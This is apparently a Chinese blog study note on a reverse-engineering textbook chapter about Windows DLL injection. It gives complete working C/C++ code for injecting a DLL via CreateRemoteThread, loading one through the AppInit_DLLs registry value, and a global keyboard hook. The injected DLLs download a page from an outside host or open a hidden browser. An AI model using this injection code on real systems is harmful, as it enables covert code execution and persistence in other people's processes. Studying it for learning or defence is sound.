(简称逆向工程核心原理第二十三章的学习)
0x00 DLL注入简介
将DLL强制注入一个进程,就拥有访问目标进程内存的正当的权限X),DLL加载到进程会自动运行DLLMain函数
- 改善功能与修复Bug(类似于插件)
- 消息钩取(Windows默认提供的就是一种DLL技术如SetWindowsHookEx)
- API钩取(开发项目经常使用)
- 监听各种程序(如阻止特定程序 有害网站等)
- 恶意代码(hai客们经常注入到自己制作的恶意代码中)
DLL注入的实现方法
- 创建远程线程(CreateRemoteThread() API)
- 使用注册表(AppInit_DLLs值)
- 消息勾取(SetWindowsHookEx() API)
0x01 CreatRemoteThread
DebugView会输出调试字符串
再开notepad,用process exploer知道pid
再用injectDll把myhack注入到notepad的进程里
于是下过来index.html
同时可以看到myhack.dll已经注入到notepad里了
实验很有意思,分析一波源码
MyHack.dll
- 该dll被加载时会先输出一个调试字符串
- 然后调用线程函数ThreadProc(在这里就会下载文件了)
这边可以注意下GetModuleFileNameA
之前用到过是用的NULL,这边上了DLL的基地址,于是是获取DLL文件的路径
NULL就是获取当前进程可执行文件的路径(之前是KeyHook钩子比较是不是nodepad进程)
GetModuleFileNameA
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| #include "pch.h"
#include <stdio.h> #include <tchar.h>
#include <UrlMon.h> #include <Windows.h>
#pragma comment(lib, "urlmon.lib")
#define DEF_URL (L"https://www.ppppz.net/index.html") #define DEF_FILE_NAME (L"index.html")
HMODULE g_hMod = NULL;
DWORD WINAPI ThreadProc(LPVOID lParam) { TCHAR szPath[_MAX_PATH] = { 0, };
if (!GetModuleFileName(g_hMod, szPath, MAX_PATH)) return FALSE; TCHAR* p = _tcsrchr(szPath, '\\'); if (!p) return FALSE;
_tcscpy_s(p + 1, _MAX_PATH, DEF_FILE_NAME);
URLDownloadToFile(NULL, DEF_URL, szPath, 0, NULL);
return 0; }
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { HANDLE hThread = NULL;
g_hMod = (HMODULE)hinstDLL;
switch (fdwReason) { case DLL_PROCESS_ATTACH: OutputDebugString(L"<myhack.dll> Injection!!!"); hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL); CloseHandle(hThread); break; }
return TRUE; }
|
InjectDLL.cpp
1. OpenProcess
使用dwPID获取目标进程(nodepad.exe)句柄
PROCESS_ALL_ACCESS会有进程对象的所有可能的访问权限 进程安全和访问权限
OpenProcess打开现有的本地进程(notepad.exe)对象
1 2 3 4 5
| if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) ) { _tprintf(L"OpenProcess(%d) failed!!! [%d]\n", dwPID, GetLastError()); return FALSE; }
|
2. VirtualAllocEx
在目标进程hProcess内存中分配dwBufSize大小的内存空间
1
| pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE);
|
3. WriteProcessMemory
hProcess是要修改的进程内存句柄
pRemoteBuf是要写入数据进程中的基地址指针(上面通过VirtualAllocEx开了个内存空间)
szDllPath是指向要写入的指定进程的数据指针(也就是我们的DLL路径)
简单来说,就是把DLL路径写入目标进程
WriteProcessMemory
1
| WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllPath, dwBufSize, NULL);
|
4. GetProcAddress
先获取模块句柄,再从句柄中获取LoadLibraryW() API的地址
LoadLibraryW() 是LoadLibrary()的Unicode字符串版本
Win OS中,kenerl32.dll在每个进程中加载的地址是一样的,故不用特意在目标进程中获取kenerl32的API,直接在原地获取kenerl32中API的地址即可
简而言之,获取LoadLibraryW() API的地址
1 2
| hMod = GetModuleHandle(L"kernel32.dll"); pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW");
|
5. CreateRemoteThread
令hProcess(notepad.exe)调用调用pThreadProc(LoadLibraryW())
参数是pRemoteBuf,也就是VirTualAllocEx创建的空间,被WritreProcessMemory写入的dll路径
从而Notepad进程加载了myhack.dll,一经加载,myhack.dll下载了指定文件
1
| hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL);
|
现在再来看下dll(0基础WIN32审计起来真带感)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123
| #include "windows.h" #include "tchar.h"
BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) { TOKEN_PRIVILEGES tp; HANDLE hToken; LUID luid;
if( !OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken) ) { _tprintf(L"OpenProcessToken error: %u\n", GetLastError()); return FALSE; }
if( !LookupPrivilegeValue(NULL, lpszPrivilege, &luid) ) { _tprintf(L"LookupPrivilegeValue error: %u\n", GetLastError() ); return FALSE; }
tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; if( bEnablePrivilege ) tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; else tp.Privileges[0].Attributes = 0;
if( !AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES) NULL, (PDWORD) NULL) ) { _tprintf(L"AdjustTokenPrivileges error: %u\n", GetLastError() ); return FALSE; }
if( GetLastError() == ERROR_NOT_ALL_ASSIGNED ) { _tprintf(L"The token does not have the specified privilege. \n"); return FALSE; }
return TRUE; }
BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath) { HANDLE hProcess = NULL, hThread = NULL; HMODULE hMod = NULL; LPVOID pRemoteBuf = NULL; DWORD dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR); LPTHREAD_START_ROUTINE pThreadProc;
if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) ) { _tprintf(L"OpenProcess(%d) failed!!! [%d]\n", dwPID, GetLastError()); return FALSE; }
pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllPath, dwBufSize, NULL);
hMod = GetModuleHandle(L"kernel32.dll"); pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW"); hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL); WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread); CloseHandle(hProcess);
return TRUE; }
int _tmain(int argc, TCHAR *argv[]) { if( argc != 3) { _tprintf(L"USAGE : %s <pid> <dll_path>\n", argv[0]); return 1; }
if( !SetPrivilege(SE_DEBUG_NAME, TRUE) ) return 1;
if( InjectDll((DWORD)_tstol(argv[1]), argv[2]) ) _tprintf(L"InjectDll(\"%s\") success!!!\n", argv[2]); else _tprintf(L"InjectDll(\"%s\") failed!!!\n", argv[2]);
return 0; }
|
反复编译自己的网站,发现一直不成功,原因是https的关系,于是拿了花雕的网站实验,成了!
没想到他是网页重定向nnd,换八云虹的了,再一试,成了!
调试MyHack.dll
先关于遇到dll就断的选项,attach上nodepad,F9运行下让notepad可以输入
再开启遇到dll就断,并输入相应的notepad进程号,随后dbg就会断住
一开始会断在其他dll,因为启动一个就会启动一些其他的依赖balabala
一直F9,通过这处判断是否到了我们想调试的dll
现在关于遇到dll就断的选项
这时候可以一步步调试(建议不要,会发现没个头,加载各种dll不断
先通过搜索字符串,在自己要调试的地方下断点
一下F9跑到这,如果不F9说实话还会跳到各种dll
然后会发现这都创建线程,关闭线程句柄了还不显示??
查一下得知,线程和线程句柄根本不是一个东西
线程句柄是用来操作线程的,线程句柄是个内核对象
线程的生命周期就是线程函数从开始到return,线程句柄是从CreatThread到CloseHandle
所有内核对象都是系统资源,用了要还的,也就是用完后一定要调用CloseHandle
还是很有必要学习Windows核心编程,找机会买了
CloseHandle()函数的使用
再在ThreadProc线程函数下个断点
会发现Injection程序的字符串都跳了,这边才跑到(这个原理可能还要更熟悉才理解
然后就可以调试ThreadProc线程函数的所有操作
按下最后一键!下载梓金鳌的主页!
可以解惑刚刚想看的参数,如g_hMod为当前dll的基地址
1 2
| if (!GetModuleFileName(g_hMod, szPath, MAX_PATH)) return FALSE;
|
后续等等已经确定
(今天天气有丝寒冷,好久没有沉浸在审计和调试之中)
0x02 AppInit_DLLs
wsprintf(缓冲区,格式,要格式化的值)
简单审计一下,嘛,已经习惯了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| #include "pch.h"
#include "windows.h" #include "tchar.h"
#define DEF_CMD L"c:\\Program Files\\Internet Explorer\\iexplore.exe" #define DEF_ADDR L"http://bayunhong.top/" #define DEF_DST_PROC L"notepad.exe"
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { TCHAR szCmd[MAX_PATH] = { 0, }; TCHAR szPath[MAX_PATH] = { 0, }; TCHAR* p = NULL; STARTUPINFO si = { 0, }; PROCESS_INFORMATION pi = { 0, };
si.cb = sizeof(STARTUPINFO); si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE;
switch (fdwReason) { case DLL_PROCESS_ATTACH: if (!GetModuleFileName(NULL, szPath, MAX_PATH)) break;
if (!(p = _tcsrchr(szPath, '\\'))) break;
if (_tcsicmp(p + 1, DEF_DST_PROC)) break;
wsprintf(szCmd, L"%s %s", DEF_CMD, DEF_ADDR); if (!CreateProcess(NULL, (LPTSTR)(LPCTSTR)szCmd, NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi)) break;
if (pi.hProcess != NULL) CloseHandle(pi.hProcess);
break; }
return TRUE; }
|
打开注册表
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
修改AppInit_DLLS,写入要加载的DLL
修改LoadAppInit_DLLs,0为不执行,1为执行
再重启即可发现
注进去咯!
0x03 SetWindowsHookEx()
与之前钩子同理,就是这次不是直接返回1(截获消息不输出),这次有消息就调用下载文件,呜呼!
新增的命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| #include <tchar.h>
#include <UrlMon.h>
#pragma comment(lib, "urlmon.lib")
#define DEF_URL (L"http://bayunhong.top/") #define DEF_FILE_NAME (L"index.html")
HMODULE g_hMod = NULL;
Bool WINAPI DllMain(...) { ... g_hMod = (HMODULE)hinstDLL; ... }
|
直接编译即可!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110
| #include "pch.h"
#include <stdio.h> #include <tchar.h>
#include <UrlMon.h> #include <Windows.h>
#pragma comment(lib, "urlmon.lib")
#define DEF_PROCESS_NAME "notepad.exe"
HINSTANCE g_hInstance = NULL; HHOOK g_hHook = NULL; HWND g_hWnd = NULL;
#define DEF_URL (L"http://bayunhong.top/") #define DEF_FILE_NAME (L"index.html")
HMODULE g_hMod = NULL;
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpvReserved) { g_hMod = (HMODULE)hinstDLL;
switch (dwReason) { case DLL_PROCESS_ATTACH: g_hInstance = hinstDLL; break;
case DLL_PROCESS_DETACH: break; }
return TRUE; }
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) { char szPath[MAX_PATH] = { 0, }; char* p = NULL;
if (nCode >= 0) { if (!(lParam & 0x80000000)) { GetModuleFileNameA(NULL, szPath, MAX_PATH); p = strrchr(szPath, '\\');
if (!_stricmp(p + 1, DEF_PROCESS_NAME)) { TCHAR szPath[_MAX_PATH] = { 0, };
if (!GetModuleFileName(g_hMod, szPath, MAX_PATH)) return FALSE;
TCHAR* p = _tcsrchr(szPath, '\\'); if (!p) return FALSE;
_tcscpy_s(p + 1, _MAX_PATH, DEF_FILE_NAME);
URLDownloadToFile(NULL, DEF_URL, szPath, 0, NULL);
} } }
return CallNextHookEx(g_hHook, nCode, wParam, lParam); }
#ifdef __cplusplus extern "C" { #endif __declspec(dllexport) void HookStart() { g_hHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstance, 0); }
__declspec(dllexport) void HookStop() { if (g_hHook) { UnhookWindowsHookEx(g_hHook); g_hHook = NULL; } } #ifdef __cplusplus } #endif
|
只要在键盘一输入,就会下载指定网页!